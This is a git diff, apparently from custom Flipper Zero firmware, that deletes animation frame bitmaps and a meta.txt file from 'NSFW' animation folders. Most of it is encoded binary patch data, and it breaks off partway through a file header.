g9uWD1-vR&penI3PWAN}jzmMpCWB~E}u?7wZ5H9Lpd;kCd diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_25.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_25.bm deleted file mode 100644 index e01e4fabb4dcd6db0a5e745ec3a3b7634b418e17..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 630 zcmV-+0*U^j{$R$OYrX@_mQn z2`EKlE9v%+>H%!gc>d}502Z^E*7t|TBo2H8zgxx!kNyY`jX(2S-yhckU;V-Z#D6#s zf4{jO7uN&dkN026_y5P=XX5(ce`8<3__yFbJNO^te$N$rcmd`HP!16b?0)hG#jw~KO`A|J#5RT9P1H*y; zH{$l8P`{tt1_VA)A^SuL{gx{r&g9!jUwev-=(om;byQP|*KBIPiIG!9%z9fW{UHALsYpA3OhS z`afo|?>P3*DSG>6l7^kgK0FzCJg=bP?X?OB0v_iFjxRs`v@Bo&s(-vRboqVu)o^LR zaH8?>;DP1c4yXWO9?t|E9$R;d0EhkH;jhd36CeRd2_^9GgUYTCSGjNRACUZ?hk@<< Qe?jH97rz7YdKfq$K+pg{umAu6 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_26.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_26.bm deleted file mode 100644 index 8f5fa633c23a48fc23acf4b4a726b9fa4cb2b5d4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 652 zcmV;70(1QV0EhwrGztMws>FZ4`}_nPxC#I~xnJ-8{66^rc=diA@c6+)?Erw(F0+5P z^gjUss8?^}@(;8E5dipA{{O-FmBawL2p7Xe?7oM_A`V&rd~Oua$8yx%|e{v?2jezz7H_U!~^l~ z=ju8C|M`A69{hKEes8P?{~!O?qvRex*x&FTMEJmO;CG7nzPteO{CCOYBqzn*3%H+; z>%nh?hsys0563nU@D~Vvd_VXP;2uTz^aID?{{JW9LE!&D{yFn_!jI4L@4@~M_58^^ z0kOS7|HSx!`9Ht^ybK;B_Ml=7g|~tK1Md)!c#C7s50Csl&`3$VV0btPd}1T^pm@Ic z9vM7;=Ju#WzMt#{1b#dC33;#t@!;r3XWQX;#Zm25{Da0?P8NG$HCijz-)}z$k^N*EO<*j2@&9v- zMeV8mhKJub0f@b|0+Rpvw%3@j2q&+oh*UGP}_$s+~?mvfI_0+CpI|L*v7q5<*X%R%M!@BaJpqp<*n`QhV( z$ap{SaR3Wd+~CpEouP1GfjL{CpplAcx3C$zMJI diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_27.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_27.bm deleted file mode 100644 index 859d8d70717ab6d989f13a574c6e1871fa0c9bbb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 648 zcmV;30(boZ0E7YnGztMws>FZ4`}_nPxC#UZVXCr!zx(j}#2^|CSF3&>7$|+P5DkT^ zXYT!n;s7rl?fia0_JB$t9tmIE9wGP_kHb~Wy@$pY4q5~v0dS)JKVkWh1IJbJ?GNMt zJ&q?U<{uc4J}a4CkKI220@i6f_i*^F#K7|XZd1?y|G@$ASN?Ow;vb#{pY;5%~8L>%;$m{sqEsiU)umKg;+$U}5+4f1rOZ`o3ZwF8m+i4>yTD z@ShL;e(MMS6XFBp|9}4QFc`#%%}@`I|6cZ6inLCOE`n}k|X2u%ap4p07k zS|IX*PzOX0OaI<(eJuy{5+d~ijC3AJaozU!;nRTsKc&;}g9u(@q3(Wh;PU%`2mSsC z3mk*v?gy9u`@Y+u#taEB=N`TVA>sYtpmCH7$AfPNm-pT*7-`smL-z3D!R3Gb@7!xt z{&0B2^S|psrvbu`$HN0pmiAg5Kmfuwo(woVz3DOl6o3Rj?*|SBA0U|k7yt0^g3Hzq iXbuCvc>IUUeh*lL1A+Pce_-H&x`WhyAn{BHd}IJr&raF^ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_3.bm deleted file mode 100644 index cdb6c331e942a19ee26e4f6ed0fe3e066dfb255d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 653 zcmV;80&@KU0Eq$sGztMw>i@t4e}IFR0YHG%KA`g7hu$C`9jydDP*D3|ARi5U)50H^ z1P8%a)ce1|_kdC$8w|XQsrL`n!nbthkH#tuS_C2iFzw{4pY8eFLJVITe)Du-6pZ9G z`EA$te+mc2!k4p=8^m7b60ha-yVZMu3o*~w_>=GeE=RwitN!2OAo$cv=l&%4i{}}C zihqgXU!C;+4QRg~>-jf;a|7Z}p7s6#;4h3M9|W<0Z~@{^pZ(lEMEduK$KikftK&cm z97n;QSSMK2KZEg*gPQ@s?f2wh@&AY3KuaI|3K>m*fAT zfQQJx7vA;)1ENpH0!bhK@FY-mn8iWs5WrWz+z12=9wGL^Ng^Mg06gJi_oUt|5CM4a z&FxU7Vy;$*1YiCCf`ilyIE$6w9#{BDeW@55h2sGq4~V^J5{VS5>HNS?!Qzi-3?eyx z?r`O#@gJ~+W^?>I(rUe5|DF6EH}Lw%B{^KD|HI#tv)=(k)Pje@{`r9fKH7oE z|NLPQf4w2{TmN1E>;I37lsaGkzn}N{ubNItl?NCAd;j0Kw4xB2hqN4*{{R2_{U{{> zR6*q9|Lzblc<4X7aJYyQhrjRx$QD1|*fi?@j$f0|4=(=u|NifO&7%OgSl}LLI6Qv- z@;HP>{z)GMh5_VypMgf|gCGLKh2jq``wV~u ngaHhC0r;DT$R4o+c;Db3;QW9G0so-9#6J`W2LtlA5O~M{p#@VP diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_4.bm deleted file mode 100644 index a82c79a17a8b2c941645c6dd422398e4cf129ad3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 643 zcmV-}0(|`e0Dl4iGztMws^ov)`}_nPxC#I~zu*Di!UOG)2ai-bA^CtnY9C*p>^>uL z2t7l)CH)7+5)WuZ3*j%cc|-TG>&(61(fiOP5DtcKNyHC~NdprK+~&GpgNf?uU9a$d zyA}QB^S&RfML#bx{_o*H_|$XyT4jK=XOXS#XoKQ^Z~)~!{SO&@V50f2%>E(qh!f_& zKKJjx;`!EJ;-BOF{wMHmNBDnV%X|aKZ@=aK0l;U9K6?Q1@L$FA2>xEd;(r*3J@8kG z`~%>RoB;fP_z%E5VIlXBet-86kfY*31m1t(f8zYYBtPH$AOGK1$$WqHv2cguBS7E! zU?A}iy#fgm|7ajTV*ErT6a#SJU_kMbi`x?vyJ#Q<0sn{Ei2%@lco74Dr{g6Gym%lH zGyueb%SnJ@FBSoKhs9p?DJ{FZ4`}_nPxC#UZ;i{#7zx(j}#2_6Hzh8VG7$|+P0P&yy zzhU`+Kx!Rm_xwK)3Pc0ZGradh_sFL1zd`YegI0kkfORsOZ>W4u;sARlmR0KhpWFag z%~p%l9~e+RF48);wLbs?|5b54fOx_|^C;5xzU2Dt<#}HbegEZIKU#odfcfTWzDN82 z-hE$hxW2u!-@nnHA@X;R_+Bv}eD3d`kH7v151%)4_8$@a{pfjvaJ$?9JTLs8A^rE4 z=K=qL;6DZW&|hG1592;)7?1oM9w_k-#tYsL6ZqfaAm+#u1Rf>v|H6Uo1j2vg?Dg1}+K!|F8bN_(6m+cUN2gm1X7m>Z7l#G;qVPf0|NB06cf?_mV;(aL*`yFd0llie(PqPyyo<2c&`l0>ngM-Ka-`#`xSx8`~(gB#!WPbZY)(_z#Mw1G5{3=0STsOZC{1}-`HdT tNcDSL`uv9nstFZ4`}_nPxC#I~sbBB@{66^rc=d7{;P}Bq?Erv>#!LGC zhu|PP4OJk1LH2+`AYKa8x4b_XfIW%hu)ghn!T6v;AUDeY-~0aGoy0!=>OPbH9~g>8 zKf5kh@O~lp01xIV72b!&5^#*wD@pMW)&lvNrFz%!4=T)(EAmIo1A$hi=>16f2af+O zSMi(#e;x|1np4*gj3_@B{=e8hB>C`H>euf0yhHKezfb?)L3pR5;eU^R|HAQwgX90! zo3F%wKM(gB1^(~f;-L5Zd+cxlc?aJC`2WE05AqMj;2xp(kbbwI@h6de;R5o27wUo9 z|G~lIzaPXW@%|5qe4!!cpnk9LcnCb8p!JAEi{lT)m&gAS2dohOQ9c2@h3^viedPWC z`9Ov3fV_X|f6#F6-|dBxc(3?7Fnppb_w+~LeE*Ss=oE=piys4q5C~q-90nr?0f!g| zelK|>mxBS19108$TBRpdfPlt<>gmU zAQV&(KaXsD9(}*}`}_V{ox}eRo`=uA9T++s*Mo(>0m|A+7+TRhxBflwev+q>`ak@8 zp?u-M)PTWxANzf%5L RYQMnp`-2uB0w47$5MT_nL7e~q diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_7.bm deleted file mode 100644 index 8fc70c65b871c7677809a05699b2981dc459215f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 637 zcmV-@0)qVk0C@rcGztMws>FZ4`}_nPxC#I~sbBB@{66^rc=d7{;P}Bq?Erv>#!LDS z$Ut@)s#o{?A9w^J1z@Vhd%^k8Kt3Pt$$X-q<)A_VpS`XP=5Ek{Qv*%rgi!dK-9561ro0rwBW0 z0lbCr#P7^#3Goll2mb)D2g)LTe+S+JK>vNi@=p*LkLwZS2a)`L@Ar{>JEx&Xlqg>Q zFZ>4u{XdL^oYY6y(C|X?541uf@&DoYLh?7WSbiV)e}En)_n>6HpZNdd)({u_L?9op z{!jgZAH)`uc(=ko0P)|u+JPYa!Q&qU0SDHB2*rOOaE*XGZ}L$3p@(?`j#vZm039dl z2Q0V)$$r#HPxc2)50(BZKUqyzeFuhF9%KJ^tb&or{>9;*48gob?bZK(>EQ9y2gP2x zfN=ly@a_hsW+3Fi1B?HU2aEVgXC%slkN@9?;418sgw#Et{U*>>hjY z_=}VO_YWXEW4r))|3ib_?*q@pAM#H@<^R85#3=#bPyCbcd3F2!zkmPT|An0f@8qM0 z%m6q2`dIKE`{g_yUGr#=g^Do=Mg#f(p_9-5w)ewM#2+5dzRnLTxUgPpl=%PTM)anG zP6Gjee!uf^`NN(o0EB(N_i!r|J`}_nPxC#I~dbvP&@8JRV$Urt4sz-DBABY48L8_B~ z!{Rp(gOA3Od>@P?9?*yv!~IqEhvz^)AHURIBln;c$KkW|m&yo%kL6OOzYmN=pC9b5 zlk`830Nv!)pRoW%^Zlh+f1&%X<+5MJe2@oKqOx9v;vb9zqp#Kc8|wjj?|c7d`3H`- zeLoinzF-sZc&G0HU(d(?{`UL>$A1rnhs3{M-Run>P@sG8Kl>O8JYDV&EBwd7{vV7~ zUmy4l0A3;a{UPJbXNj^XLc!)#s1c3fK(f`B#XcUi^{;&GOv&G)g2nXf#Ka3cB zVnFqR(sz(}#=-)xg82SmaEpLEQSCs4YQNAp#KAy2_=tUEFb(7mSzuTc89vmH_&jX@ z@+Y+uEB=GyEF6LSN@YLzJUhjZN4$cm(*Nt>o()32Dj|`l!MGZb`|3Zyk=Mhx9iRMs z9GC!cfAjEu2VTAmIz=n`4ln(D9yNAJ!g2uQO$a<~?~~92PyjRde}eiCEeH4e+aDMJ zLE}FMmG=K{|NX(GSKvqdQ{Z`f{ot|hhzEXG8Q;=g4r|J`}_nPxC#I~dbvP&@5Ap9fQQCI?GKC;KG+Bb!&Q{N z2jqY{3bdE|`wzSVkRKYYG=ESC4a5Ig?vKVQ4O#>u0r2zu|KagFhyi2(@tpck@&GU8 zGef-(j7T3J?3AnaAG^G&)AmQe0I#$=FZ5n90CV6gnQD*lz$Nzwj;mM7^#{fX4|)Y> zwRQFn#v&h+=$FJ_JPGdqfA1I81AmX7hz9=&561oe!T$S~;(^E|4FSGVF#GU-Z2n;Bk&<_{h2ZRR>{oeT__~F1pKa4~J(f^0|0ptIP1J*?(@c*O#hWP*B zMfc@@>i?`b{8{ag(sVBHi-0_T@JHf-hsy_yTp+~wkX3pR5ct6Z;;&f%7(?S6xF`nx zKWGF)(F2ZH76e~u1()Xnrdk2yuUrKyEA)fIEExfK#KX&|vVXzj;?y(aQVAJ+JHQVi z`szQxk*C490a1^SlpJ6Ed>_H>--n8UB+7%2|DOkqEbwrehx8n5p@Y~h;PQe{JO2OJ zJs^Jz_&l^9-@p7`hXMHq%vfK(_&EGfd&KM>R{j0=fA<&^2Z0^#&B5jS`;Ww6P`C#I zKmD15%l_r7osFR!})zXuc$1V3-wz#c+T@5NS$ zR3Z%Mo`3mJG~h5;K-^`6^A4y0gX2{KmDUCfN&pCdpZ{D0K0q=66o3Rb?`P;1S5SI@ b3w>4oipW0E1bJ0|;PMZ!yl?~IaR?wly}mW0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/meta.txt deleted file mode 100644 index 0da985c7f..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 28 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 -Active cycles: 0 -Frame rate: 7 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_0.bm deleted file mode 100644 index f042ce9ca986ff5dd823e19a80772a458ac2cbae..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 380 zcmV-?0fYVl0C)j|z#;%azyn+mApZx9APi6tdr$%81Ot#gQf%7*Pj}Ac+AG$1M@C;=d zAqxl1J^_gQWFVmXxIiuNV0`n^WB`~H10L*kO&xmiXsnzQ9=Rq05N!j^gb@w53vM8`VY`((LbX7@d|2iWn1B#oQmr6)FsKwD{|A!FlVWWkeG-HoN(u*+0tSK*1K`2qV9-GU z^M?Tq0x%D(cs!OO4@9D8!R3gAgU|R6OZW(I6o7f)Kk#sS#s%l_|Ifka9|x3%3J)*m z|Nj@-dcW}SnRs9*@fQdHf1olV7z|b8;02HX+DZW*z&?YbAs_HQp&SSY035*dm`nxG a4^IRu04{KPKmm>qbm0T^eE{}W5CMQE+nSL8 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_1.bm deleted file mode 100644 index 5ff464577abd2dd9e1fd12afb1aafb4d0648fe4f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 391 zcmV;20eJoa0D}RCfQAAB7!Wn65C}X203E3SJ%jEKcpyEZ5C|B|MuHF90RCYB@{j|_ zKH&4PTmkY25_rfe0{I7wEFMw|AbjA!G>L=8ksy&D%pPEInS;jJ5C@+O zAG;_)II6Rg9S0PE3)KoS-Y6KI3{AJzwz z28t2bfP?Ze2!R9S)KLg9KByq_qCk*>89)I^fI}b$j0_TA;Ce-Y=pQZz{tgc}QAi+= z5P5t*_wtkC59j{>|KVU!^aIO*aDWfT01hAi{4_uG5{JZGAOgRDg=B#e7Z3pf=K=?g l1NslBBS1yS4|v2tT>$j(LjJ(#2cUF&!2N&&pdP5h05E0Ena%(J diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_10.bm deleted file mode 100644 index 729c6228df3f921417fc956fc91d53be2c06456e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 368 zcmV-$0gwIx0BivO4+23D0t_G&kU$~GFaYudpcQ`*IEX(XkVudaU_kT&r7{T?0t^Hn zFsMXu9`GF9<)u`2etk`!XO9enHjvT^JKT1A-6u6aNW< z5AbJ+P4q1ds|o5Bxp>K>vUQ9#DXJ{{dtGFnL8N zVDbkrJfRSp5IlGQ`i+Cj@DG@TQiT+Ne}VHbgjk}6(Fe@}Awq|I0rv>eKuxX>JOp8U OAm|5_0w*&zzyLtbdyC!x diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_11.bm deleted file mode 100644 index dddda1548b6e14dcdb7bb10bae5268df358a5646..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 387 zcmV-}0et=e0Dl1h4+1|B0t^rokboiFECBt6U?Lzvg9FeioG27X2rwXg#-M=s0;DDp z3<3-U9~cZoA}|kdDc~UxK>Pttfe?WihX9ID`gkBA@dv0CI0$2)1LO!n@dv1Af$d-d z3=EV&_ErplmV#9T3@QN8AOQtP9)a-(>=n?U|A0&Z?B*9j4Ok!G^C*Y_#;Ok&u)Yi* zZsiA{KZohm_LD{$Wp2rL?0(p5sU;HAodrSJeb2^7s<>)*{x0p$O{0MLc_4=5PDC;<1P55^<~ z9tQo+Kmn)=(jo;PhyVZT0SEv?1`KJ@5kY2dI>R=RjKv`9bVDAbQLJ@cvP%gZv&L69@PJ$f^%F@`KD4 zOJWD}`GMv+5PZV`Wdv`J0dT?eJc_(v765voOeP@mTqr%kq7Px355yWNg(0*A8X)^M zh(DkrAs6TfV*vS#3&hMJ`cI0;oeCdzkc;S^EW$72FopCF8i3G&_b3e80f?h(sXJ4gfiU<;0jmAaD~|^e*sb> z2!=o~2Bim{03Y@UFg?JjfWW{`!$1en2w}kX-~-TTFr}D|&?K#AY%)m0qj2zdyP=OK=E`SJ`F+-(TKa2Fb{U~2h0{g696I9 z!Qv4na)Z#4DDel}5ISpxfI|W54G?<=)&dO{a;Z=zFc4^i*hYf!28tm8?*S1DxkzmR ze>lCt{Q*e`zd`yh7hr?)0+>*IGYB7x!Uy88f%xSheK*A1EBgnG6hGe(ehWtu58MV2 zKiD;Rn1}%I90i4cfWgqfFc3g|g9joK5PiThA^yk%^nNjnKtDV&j3Wr376LGU7J?67 z06u^N8W%`CECT8OfV&%(DgXcg diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_14.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_14.bm deleted file mode 100644 index 142412a4a87730c5c938c8e11e7c455aa19908f5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 401 zcmV;C0dD>Q0F40v4Fdrn0t^HckRTz*A@MMNWFiq@eo`b6s0ILZurMLXBvHV7iBd^m zg#+?MAP7Q=_yf)Bt@$U=qyiG%_oAK-Z+3?C4X{@@^^`~?pb-`f=UkLnSCiG##nn2`T* zpf~`1LogN?4FDf%@ekxE9x)sQ5FapX2F4+X2h<7yp^O9W2LQ0dIRQZcLGWfXj9@(C zp!kkr0D}PVf5a~mj&cB{`2WGd?G%Pn0Hy!`-@%9QNR%3U1R4N5fA#vUSGF}R#uQRR v;Q$`|1R$ZXc*(`s2cQ6kWqtvd_#a&anBW19^3;XL0}O8dJR-QAn_=O z0Kw}5z%7IylmSq(5FX$Xg9GRmB@urpJw;+s5PF?RUV!m;C_R$G-e7r($Qmu?2eOz! z?Jyps7%U@&10i%^fcRpNJfJ{f1Q%2#}!rALNKX(;@x}h7=#b(B+5t4;mT#L-`{I z<8X2+{0EIBKh$^*0N+6I(ZDeP`h!3;GZ1~if#V>?1NLEzh6CidHV}A`1RqoxM=(er z3Xw)Jfc%p}D8fMiRFV+$|#Q_x=hT1PmTu0D1rj7FELOgX>^0AajGy0P_*@gW3TcA4oks1L^;OmRy{7 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_16.bm deleted file mode 100644 index 46ed13a95a8eb799383be61bc6017c1b9ba0b869..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 373 zcmV-*0gCNhA{hen_Md z2nGPOp;X~SCjk7xL&M^85CPx;=mZk@@B!*XXyOb(`4k8AG5|pnS&>u_Fra=Z1RgAe z2gDU{p!dK7L>{&Pdhj65<}#>k*~$-a=!4`EAn|~+nCegn7<9q(4Hz&qO$rZXu>L55Z94h4{Q4Fn}_J1K>)b@fe%}3=feAghW4J z_Zp}?MkW9|06m97?oj){!T$bWd9a2FKmmw7T;vHL_=DU&VDeiN`BJ1?FnkNl`blBH z2jvnV@&GVBV98+*)2v{HVGy#^!easf4*(vau?L(O1R?epn0$o7524_|jzY*)8w36X zvJif|gddn@!h_=k55}0#gZ&~0;tXOy{)YqjpRDqJ2tO!b{*eR3=pYD;KqAr@00cwz zgqTDkAo+wqF_(aT;Q`|r2h0#2G>F6`AC-)N5JC0CqGBLm`GG(&7D~VnKoA-ng%VH> zkO62Yb3kn?2El+IC&CU9YycU5*YXsA3xWUt#o!oRMW_@|z4uS!O0t`SDkU$~GC-{IM!U5?D0vz)v|ua% z_ke*8hz~drB=7)K!cb}e_7AKQ{0|^XU<{2g2e^Gf12iSaN5DEcBH~{!K zkiMkMF$AELgXu8`?g7{?BKAkkTfJ;UY?5c-Ww z`XKQUj1(S?atx3>+Xx9DdV@qBt8q4>*jEZ4L`Z|>DrGT*C4?Tu^8t(y9|H3Sk{Ctw za~L29LF}VY{E*fNCJ=oK$Os|*D+oUz!T}fSICus82Z;Y$f}s$8i|8IWU?7L`h!5!z zyg~G=7?c=4xXM%l$PblZ!67mV5I*UYi42$@FvtX|kwK9M?lDNP&4Kc~7=$8+3J1xs zVibuK96ywe7&>4K!H8ls0YLy%gOLyl2tMqXz%l#?k3h^|fXDp*z{#bm0geI#fd>`? z{s15741q-hZy&%GR{yv?A(8+ge}UuxFi~7405RYLm>zrvn2V4e@B>K~L?1!%E|@-U N5D(BlI2Z%TfE3XVpd0`I diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_19.bm deleted file mode 100644 index 722cf1a66cf2d21906de023678d71245cd3d4dfc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 400 zcmV;B0dM{R0E__u6bc6cfI5&(FHQUL=39YO&i z2e=$S1&F|C1uPF(MGt@pYyeRq6YBspLH1z~O9S4(31PV<5S}3NFqHs4-T+C1;1DPg z2iSZ;;~)f}J>>xQD~LVf0F(--JZ8`cz&|1`<_DYT#iHI&dA0-|AQ1=ZgkZq*m?Ka+ zZ{-h|Y(e4;7jhj?dSL$t*bG794G?;zOdgm3dZkRpFpLBM0w4%6h(F>FVHdDHki-wd zkc;v#40Q`Ud;sU6DLFFEI7&t%!*Zcqd u>LUl103Kii2b5xf10R4syb=NO1LFY`0T1{eMFAH`JtdG2;6FSG!3V%o+LkE* diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_2.bm deleted file mode 100644 index 21a4d225657054c58dee8148974f4cf6f77704cf..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 406 zcmV;H0crjL0FnU!6chw7fKvg_0Rjz75C&8Lc?aAybO;E3LGKU;uxRuEG6&wkA2oQHrvV-d&{2p&PR;22LKAUGxf3RD34L;_+TFnYm(=^!7dJeDJngkaziAbN$0 z835=)FiLa>t0Z<1iWERUF@$)*Fi{AYJxas^9fS*nQ6PKF1cLz&jAS1JApnT{VIcJ; z2tACV0r*XMMwv-a9qR>p!oyNWh4i)FhS`Sngi+r4;bWlA20xU zNFZYS-~dGY!Sx7;0>|PH(Eo$VfeRPd1b#PQ{y-rn5hvUN3KJmxqecWjuzv^5E?@}` zh(3el4;Wzo0pkb<_w0D}YgnlS)=$RhyxkORxOAE0?cAW;x}hKmsa2c+O0`H2i< z5`VyY8jB$y51s@62M4?Y5(qDc{(c2506e4^6nXzY|MpP&KkcHBTEXTH5CSg+Br(8w zcmeDq7zY8~V&VWJi3WmQ5PZNOAn`7UKA=QF{{!y{0pJ6i9-o19gV5IC_ZG+iK<#Rj AuK)l5 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_20.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_20.bm deleted file mode 100644 index 25345bd46a59d57853bee5efc7775e886ae59550..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 396 zcmV;70dxKV0Ehtq76t6kA=!3)#CY2YO^nv^haC(5m z0-*U0h&|&5GysS+Mxq~a>4#L7V)X-yaD(tK5POHr`e4;jxRgQS5s`Vpf%pLz7=!Fy zFcJO$L>?pjzyU;GoB?$M&VV1;gZP2+pCEo0$-M10hy%!9jbaDO{DFkA5PaAm%KHzN z1Rfz79t{J61rUAkFc2IdzCq=nFH`~;4<3XG&+@05XYii{-%o|KQ+J(0{?@oY0{73uIz2A7Cm-Gg1M2gVz!dh#(O1 z7zqHq!RZLV&;a5OSP(rZRsj2h(g{4E58eheP<%i^?G%7R0rqb~*4)GLG5}b?nJ5ovfV@vA4_8pc0iq9s5QD}U3N)>OM1b*uK(GMxkOSBVC6x!6XhG!z z2lNE8vjgg($R45deF#)R?kOM{1xJ7xL3)GCIw18AxIV;U3lIp3Odg=s52=knBGDjy zF+>_CQ2;nJNurYw{e#9B5g-GDL;@@^7w9}g`vM2}zk~k)2hqI2;xCYSU;*Nf%m5Tc z_z%Ze@CX7Ap~&DY3Ht|)0zl6Yh==My1_#ija1j7#gY-Tt5db)3a1ojqKOhjAJRw3L z2Mm@bgb%0~2z9h9Kp?OKH4K$1!-NDE!~g#XlI)-xDFrYJU%+_(#e@C?mJ%UE3=lYg z1`jJFLPP`~06t?7i3qtt?Kr|lMbHmAhn-+0(g()^a&#Z?KCl7d-~*fuyBeFlUB+F%4f1qLw;2e4c~1)#`GK;jul09-%? zP=HuR;yFkF96$wFfKW&80s2t0+N58=v#;sOs_ z14#kp12m|7$wD8Q01TZ*4HHU%Odn(OUWhzLq92fXfy6Rn^=6PffhG@7Xn;fxAoVnm zJpd*EaL9thhBE+t0>&60qR50r24Dv*h%7<&9}#%8#D6EVaiG4SAp8%AKV}#J|AYDb zCH)7JJyq){1P=? zRkXx(Dj^hqpYQ>D?*H(4LnJh)EC3u}15q4?#R1?0>me|*z(>LlodzMiBjg9aFx(*L R2cH7R2OmH@@E8N>031*Hn{WUC diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_23.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_23.bm deleted file mode 100644 index 2dcc068315baccb10726438f895e6b08aa7bd1b1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 399 zcmV;A0dW2S0E+m`Ux2{}z5)Xq|&?6x656A#;5?B@> zADC_)U>{>4p<)N+{J)f-9w$-YfB*3Fli+g)QTPML|KH#0tw|%{VFBa*2bcfs0u~X_ t`3DgP7y!ZNLZ(1P#t(S~2FU>jI6UYQ7@>55^T3Tlya4;aW8nXQd;t0Vow)!2 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_24.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_24.bm deleted file mode 100644 index b7d4cc216a9c01eb516fa0daa53266941a68737a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 408 zcmV;J0cZXJ0F(g$6b179dzcLbCJ(UwlFS+?QwPX2V9u9Wuzgx;9~PK{VCBOdn9-WCPX)FWfybX=5C~*sKX1{DQ9z~uaLD5{VfzG*VniRbNYgY#`*sZAL^udwJ{^M~ra1&( zE)v*CD1q|ufB)jK2c?2RCNG!x9zXW7U@#I3AqauQ02}|TAXpg$k_`a(1JnP%2bKy! zA_tG~9>4UF%p}k;a)Z|qAjv?Bqz{aQLbU-GI6U+j54->z;Pc>OAUptl;4knFfIa|3 CE}>}v diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_25.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_25.bm deleted file mode 100644 index 1916b7be61fb8b6d6d09e2c3ce0ae1d786c2b470..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 423 zcmV;Y0a*S40HXl_4gvuLfWRUEq=o?wfqsNQ!R-VB9D@TGfdkkMAOg^1Bm(ybr9u%A z7q~q+7zqe`V*vCEhybw^5qtr}sCVFbLILu05P2F<9-*NJqAaii^?+;u;|2$!QKA6x z44^)bC=XFU;vgfHpaamJI6zBq1MDXddWYN&G5~*qPzq|J1B&@<4kQQ2eqG8BF!-0o zVBTPPt^^h$(FdqpRi*(DXoJ*>Zi5Dk`9bCzFn)|oA109onN&gU0}xo8#r%Ob4vY*R zM==MAj6fm)beN088X@@yj1vF_5r~841m+=r8HgVt!GSCUUsM2i!k(rdoDi^u@*f%q z6pQyW0+Ig5#1F_g6rij64V!-8alk0Q)E=}bm=s)M51kPRMfDhfSi$5Um_!0~I0x7y zVb(x?!ze)eB#bho57`aqWm9+V4vMeBkQ2ba_TFBOaf02nWTJXhm@ z|9}Qs3?JYKco+b9l}GRoAOVaE0}!zaL>$2Nxj=XT`olyjV{r%9A|VMTm_9QRh(CZI RdI&@Wy5RKiVIUu%d;p*}pKkyF diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_26.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_11/frame_26.bm deleted file mode 100644 index ffe0902938ad2e8ac6a676fcaed593bb6d3c5bfa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 391 